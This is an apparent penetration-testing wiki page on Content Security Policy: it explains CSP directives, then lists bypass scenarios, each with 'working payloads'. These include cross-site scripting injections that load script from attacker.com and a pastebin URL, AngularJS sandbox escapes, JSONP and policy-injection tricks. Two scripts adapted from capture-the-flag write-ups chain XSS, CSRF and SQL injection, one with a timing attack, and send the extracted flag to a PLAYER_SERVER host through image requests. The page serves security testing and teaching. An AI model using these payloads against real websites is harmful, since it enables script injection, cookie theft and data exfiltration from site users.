# Content Security Policy \(CSP\) Bypass

## What is CSP

Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting \(XSS\)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of allowing resource from the local domain \(self\) to be loaded and executed in-line and allow string code  executing functions like `eval`, `setTimeout` or `setInterval:`

`Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';`

### Headers

* `Content-Security-Policy`
* `Content-Security-Policy-Report-Only`This one won't block anything, only send reports \(use in Pre environment\).

## Defining resources

```text
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /__cspreport__
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```

### Some definitions

* **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into  elements, but also things like inline script event handlers \(onclick\) and XSLT stylesheets which can trigger script execution. 
* **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in CSP header the browser follows this directive by default. 
* **Child-src**: This directive defines allowed resources for web workers and embedded frame contents. 
* **connect-src**: This directive restricts URLs to load using interfaces like ,fetch,websocket,XMLHttpRequest 
* **frame-src**: This directive restricts URLs to which frames can be called out. 
* **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to , , , and  tags. This directive can't be used in  tags and applies only to non-HTML resources. 
* **img-src**: It defines allowed sources to load images on the web page. 
* **Manifest-src**: This directive defines allowed sources of application manifest files. 
* **media-src**: It defines allowed sources from where media objects like , and  can be loaded. 
* **object-src**: It defines allowed sources for the , and  elements.
* **base-uri**: It defines allowed URLs which can be loaded using  element. 
* **form-action**: This directive lists valid endpoints for submission from  tags. 
* **plugin-types**: It defineslimits the kinds of mime types a page may invoke. 
* **upgrade-insecure-requests**: This directive instructs browsers to rewrite URL schemes, changing HTTP to HTTPS. This directive can be useful for websites with large numbers of old URL's that need to be rewritten. 
* **sandbox**: sandbox directive enables a sandbox for the requested resource similar to the  sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy.

### **Definitions of values**

* \*: This allows any URL except data: blob: filesystem: schemes
* **self**: This source defines that loading of resources on the page is  allowed from the same domain.
* **data**: This source allows loading resources via the data scheme \(eg Base64 encoded images\)
* **none**: This directive allows nothing to be loaded from any source.
* **unsafe-eval**: This allows the use of eval\(\) and similar methods for creating code from strings. This is not a safe practice to include this source in any directive. For the same reason it is named as unsafe.
* **unsafe-hashes**: This allows to enable specific inline event handlers.
* **unsafe-inline**: This allows the use of inline resources, such as inline  elements, javascript: URLs, inline event handlers, and inline  elements. Again this is not recommended for security reasons.
* **nonce**: A whitelist for specific inline scripts using a cryptographic nonce \(number used once\). The server must generate a unique nonce value each time it transmits a policy.

### Common Values

```text
'self' --> Your own domain
'none' --> Anything
https://code.jquery.com --> A Domain
'unsafe-inline' --> Allows <script> and <style> chunks tobe interpreted
'unsafe-eval' --> Allows string code executing functions like eval, setTimeout, setInterval or CSSStyleSheet.insertRule()
'nonce-2726c7f26c' --> Allows the content with that nonce inside the HTML: <script nonce="2726c7f26c">
'sha256-cLuU6nVzrYJlo7rUa6TMmz3nylPFrPQrEUpOHllb5ic=' --> The chunk with that hash inside the HTML can be execut
```

```text
sameSite: 'strict'
default-src 'self' 'unsafe-inline';
img-src *;
```

## Unsafe Scenarios

### 'unsafe-inline'

```text
Content-Security-Policy: script-src https://google.com 'unsafe-inline' https://*; 
child-src 'none'; 
report-uri /Report-parsing-url;
```

Working payload: `"/><script>alert(1);</script>`

### 'unsafe-eval'

```text
Content-Security-Policy: script-src https://google.com 'unsafe-eval' data: http://*; 
child-src 'none'; 
report-uri /Report-parsing-url;
```

Working payload: `<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>`

### Wildcard

```text
Content-Security-Policy: script-src 'self' https://google.com https: data *; 
child-src 'none'; 
report-uri /Report-parsing-url;
```

Working payload: `"/>'><script src=https://attacker.com/evil.js></script>`

### Lack of object-src and default-src

```text
Content-Security-Policy: script-src 'self' 
report-uri /Report-parsing-url;
```

Working payloads:

* `<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> </object>`
* `">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'><param name="AllowScriptAccess" value="always"></object>`

### File Upload + 'self'

```text
Content-Security-Policy: script-src 'self'; 
object-src 'none' ; 
report-uri /Report-parsing-url;
```

If you can upload a JS file you can bypass this CSP:

Working payload: `"/>'><script src="/user_upload/mypic.png.js"></script>`

However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.

Moreover, even if you could upload a **JS code inside** a file using a extension accepted by the server \(like: _script.png_\) this won't be enough because some servers like apache server **selects MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.

From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot \([some polyglot examples here](https://github.com/Polydet/polyglot-database)\).

### Allowing third party endpoints

#### Arbitrary JS files loaded from whitelisted endpoints

```text
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/; 
object-src 'none' ; 
report-uri /Report-parsing-url;
```

Working payloads abusing cdnjs.cloudflare.com:

```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
 <div ng-app ng-csp>
  {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
 </div>
 
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
```

#### JSONP

```text
Content-Security-Policy: script-src 'self' https://www.google.com;
```

In such scenarios where script-src is set to self and a particular domain which is whitelisted, it can be bypassed using jsonp. [jsonp](https://github.com/zigoo0/JSONBee) endpoints allow insecure callback methods which allow an attacker to perform xss.

Working payload: `"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>`

The same vulnerability will occur if the **trusted endpoint contains an Open Redirect**, because if the initial endpoint is trusted, redirects are trusted.

### Folder path bypass

If CSP policy points to a folder and you use **%2f** to encode **"/"**, it is still considered to be inside the folder. All browsers seem to agree on that.  
This leads to a possible bypass, by using "**%2f..%2f**" if server decodes it. For example, if CSP allows `http://example.com/company/` you can bypass the folder restriction and execute: `http://example.com/company%2f..%2fattacker/file.js`

Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)

### Through iframes

```text
Content-Security-Policy: 
default-src 'self' data: *; connect-src 'self'; script-src  'self' ;
report-uri /_csp; upgrade-insecure-requests
```

Working payloads:

```markup
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

* sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
```

### AngularJS events

Depending on the specific policy, the CSP will block JavaScript events. However, AngularJS defines its own events that can be used instead. When inside an event, AngularJS defines a special `$event` object, which simply references the browser event object. You can use this object to perform a CSP bypass. On Chrome, there is a special property on the `$event/event` object called `path`. This property contains an array of objects that causes the event to be executed. The last property is always the `window` object, which we can use to perform a sandbox escape. By passing this array to the `orderBy` filter, we can enumerate the array and use the last element \(the `window` object\) to execute a global function, such as `alert()`. The following code demonstrates this:

```markup
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```

### AngularJS and whitelisted domain

```text
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```

If the application is using angular JS and scripts are loaded from a whitelisted domain. It is possible to bypass this CSP policy by calling callback functions and vulnerable class. For more details visit this awesome [git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) repo.

Working payloads:

```text
"><script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
```

### Bypass CSP with dangling markup

Read [how here](dangling-markup-html-scriptless-injection.md).

### 'unsafe-inline'; img-src \*; via XSS

```text
default-src 'self' 'unsafe-inline'; img-src *;
```

`'unsafe-inline'` means that you can execute any script inside the code \(XSS can execute code\) and `img-src *` means that you can use in the webpage any image from any resource.

You can bypass this CSP exfiltrating the data via images \(in this occasion the XSS abuses a CSRF where a page accessible by the bot contains a SQLi, and extract the flag via an image\):

```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```

From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)

You could also abuse this configuration to **load javascript code inserted inside an image**. If for example, the page allows to load images from twitter. You could **craft** an **special image**, **upload** it to twitter and abuse the "**unsafe-inline**" to **execute**a JS code \(as a regular XSS\) that will **load** the **image**, **extract** the **JS** from it and **execute** **it**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)

###  img-src \*; via XSS \(iframe\) - Time attack

Notice the lack of the directive `'unsafe-inline'`    
This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information \(**CSRF**\). You cannot access the content of the page, but if somehow you can **control the time the page needs to load**  you can extract the information you need.

This time a **flag** is going to be extracted, whenever a **char is correctly guessed** via SQLi the **response** takes **more time** due to the sleep function. Then, you will be able to extract the flag:

```javascript
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
	x = escape(x.replace(/_/g, '\\_'));
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`; 
}

function gen2(x) {
	x = escape(x);
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) { 
	let h = performance.now();
	f.location = (end ? gen2(word) : gen(word));
	await new Promise(r => {
		g.onload = r; 
	});
	let diff = performance.now() - h;
	return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
	let prefix = 'nn9ed{';
	while (true) {
		let i = 0;
		for (i;i<alphabet.length;i++) {
			let c = alphabet[i];
			let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
			console.log(prefix, c, t);
			if (t) {
				console.log('FOUND!')
				prefix += c;
				break;
			}
		}
		if (i==alphabet.length) {
			console.log('missing chars');
			break;
		}
		let t = await query(prefix+'}', true);
		if (t) {
			prefix += '}';
			break;
		}
	}
	new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
	console.log(prefix);
}

run();
</script>
```

###  [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)

```javascript
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
```

## Policy Injection

**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)\*\*\*\*

### Chrome

If a **parameter** sent by you is being **pasted inside** the **declaration** of the **policy,** then you could **alter** the **policy** in some way that makes **it useless**. You could **allow script 'unsafe-inline'** with any of these bypasses:

```text
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```

Because this directive will **overwrite existing script-src directives**.  
You can find an example here: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)

### Edge

In Edge is much simpler. If you can add in the CSP just this: **`;_`** **Edge** would **drop** the entire **policy**.  
Example: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_&y=%3Cscript%3Ealert\(1\)%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert%281%29%3C/script%3E)

## Checking CSP Policies Online

* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Automatically creating CSP

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## References

{% embed url="https://hackdefense.com/blog/csp-the-how-and-why-of-a-content-security-policy/" %}

{% embed url="http://lcamtuf.coredump.cx/postxss/" %}

{% embed url="https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d" %}